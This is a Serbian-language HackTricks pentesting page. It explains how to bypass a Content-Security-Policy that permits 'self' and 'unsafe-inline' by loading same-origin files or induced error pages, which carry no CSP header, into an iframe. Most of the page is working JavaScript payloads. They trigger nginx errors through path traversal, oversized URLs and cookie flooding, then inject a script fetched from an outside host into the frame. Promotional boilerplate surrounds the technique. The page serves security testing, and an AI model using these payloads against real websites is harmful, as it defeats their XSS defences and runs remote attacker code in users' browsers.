4.6 KiB
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRETPLATU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Konfiguracija kao što je:
Content-Security-Policy: default-src 'self' 'unsafe-inline';
Zabranjuje korišćenje funkcija koje izvršavaju kod prenet kao string. Na primer: eval, setTimeout, setInterval
će biti blokirane zbog podešavanja unsafe-eval
.
Sav sadržaj sa spoljnih izvora je takođe blokiran, uključujući slike, CSS, WebSockets i, posebno, JS.
Putem teksta i slika
Primećeno je da moderni pregledači konvertuju slike i tekstove u HTML kako bi poboljšali njihov prikaz (npr. postavljanje pozadine, centriranje, itd.). Stoga, ako se slika ili tekstualni fajl, poput favicon.ico
ili robots.txt
, otvori putem iframe
-a, prikazuje se kao HTML. Važno je napomenuti da ove stranice često nemaju CSP zaglavlja i možda ne uključuju X-Frame-Options, omogućavajući izvršavanje proizvoljnog JavaScript koda sa njih:
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Putem grešaka
Slično tome, odgovori na greške, poput tekstualnih datoteka ili slika, obično dolaze bez CSP zaglavlja i mogu izostaviti X-Frame-Options. Greške mogu biti izazvane da se učitaju unutar iframe-a, omogućavajući sledeće radnje:
// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
Nakon pokretanja bilo kojeg od navedenih scenarija, izvršavanje JavaScript-a unutar iframe-a je moguće na sledeći način:
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Reference
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju oglašenu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.